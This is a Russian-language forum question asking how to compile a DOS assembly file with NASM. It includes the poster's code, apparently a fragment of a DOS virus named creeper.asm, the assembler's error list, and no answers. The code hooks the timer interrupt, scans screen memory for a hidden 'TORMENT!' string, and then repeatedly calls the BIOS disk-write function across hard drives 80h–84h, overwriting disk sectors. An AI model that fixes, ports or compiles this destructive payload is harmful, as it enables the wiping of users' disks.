Компилирование .asm файлов в .com при помощи NASM

Как скомпилировать asm. файл в исполняемый для DOS-а?

код:

        int 21h

    mov ah,3Eh          
    int 21h         ; close file, bx=file handle

    pop si
    pop dx
    pop ds
    pop di
    pop cx
    pop bx
    pop ax

    
    jmp real21

put_eof:    mov     ax,4202h
    xor dx,dx
    xor cx,cx
    int     21h
    ret


int1Cnew:   

    push    ax
    inc     byte ptr cs:[counter]
    mov     al,30h
    cmp     byte ptr cs:[counter],al
    jz  scan
    pop     ax


slut:       jmp     dword ptr cs:[int1Cret]

scan:       
    push    bx
    push    cx
    push    di
    push    ds
    push    dx
    push    es
    push    si


    push    cs
    pop     ds

    cld
    xor     bx,bx
    mov     byte ptr cs:[counter],bh
    mov     cx,0FA0h

    mov     ax,0b800h
    mov     es,ax
    xor     di,di

again:      mov     al,byte ptr cs:[text+bx]
    sub al,80h
    repnz   scasb   
    jnz     stick

maybe:      inc     di
    inc     bx
    cmp     bx,10d
    jz  beep

    mov al,byte ptr cs:[text+bx]
    sub al,80h
    scasb
    jz  maybe
    xor bx,bx
    jmp again

beep:       
    xor cx,cx
    mov bx,word ptr cs:[int1Cret]
    mov es,word ptr cs:[int1Cret+2]
    mov ax,251Ch
    int 21h

overagain:  mov dx,0180h
    xor bx,bx

reset:      mov ah,00h
    inc bx
    cmp bl,5h
    jz  raise       
    inc cx
    int 13h

hoho:       mov ax,0380h
    inc cx
    int 13h
    jc  reset
    jmp     hoho        

raise:      xor cx,cx
    xor bx,bx
    inc dx
    cmp dl,85h
    jnz hoho
    jmp overagain   
                
stick:
    pop si      
    pop es
    pop dx
    pop     ds
    pop     di
    pop     cx
    pop     bx      
    pop     ax


    jmp     slut


counter:    db  00h

text:       db  'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
    db  'T'+80h, 'O'+80h, 'R'+80h, '!'+80h

        ; This is what it scans the screen for --^

int1Cret:   db  0EAh, 00h, 00h, 00h, 00h

code_end:                   ; THE END.

code        ends
end     codebeg

P.S. После применения команды "nasm -f bin myfile.asm -o myfile.com" появилась такая ошибка.

creeper.asm:21: error: parser: instruction expected
creeper.asm:38: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:38: error: comma, colon, decorator or end of line expected after operand
creeper.asm:44: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:44: error: comma, colon, decorator or end of line expected after operand
creeper.asm:59: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:59: error: comma, colon, decorator or end of line expected after operand
creeper.asm:60: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:60: error: comma, colon, decorator or end of line expected after operand
creeper.asm:63: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:63: error: comma, colon, decorator or end of line expected after operand
creeper.asm:64: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:64: error: comma, colon, decorator or end of line expected after operand
creeper.asm:67: error: comma, colon, decorator or end of line expected after operand
creeper.asm:70: error: comma, colon, decorator or end of line expected after operand
creeper.asm:90: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:90: error: comma, colon, decorator or end of line expected after operand
creeper.asm:157: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:159: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:161: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:172: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:172: error: comma, colon, decorator or end of line expected after operand
creeper.asm:219: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:219: error: comma, colon, decorator or end of line expected after operand
creeper.asm:221: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:221: error: comma, colon, decorator or end of line expected after operand
creeper.asm:226: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:226: error: comma, colon, decorator or end of line expected after operand
creeper.asm:243: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:243: error: comma, colon, decorator or end of line expected after operand
creeper.asm:250: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:250: error: comma, colon, decorator or end of line expected after operand
creeper.asm:260: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:260: error: comma, colon, decorator or end of line expected after operand
creeper.asm:269: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:269: error: comma, colon, decorator or end of line expected after operand
creeper.asm:270: warning: `ptr' is not a NASM keyword [-w+ptr]
creeper.asm:270: error: comma, colon, decorator or end of line expected after operand
creeper.asm:322: error: label `code' inconsistently redefined
creeper.asm:20: info: label `code' originally defined here
creeper.asm:322: error: parser: instruction expected
creeper.asm:323: error: parser: instruction expected

Ответы (0 шт):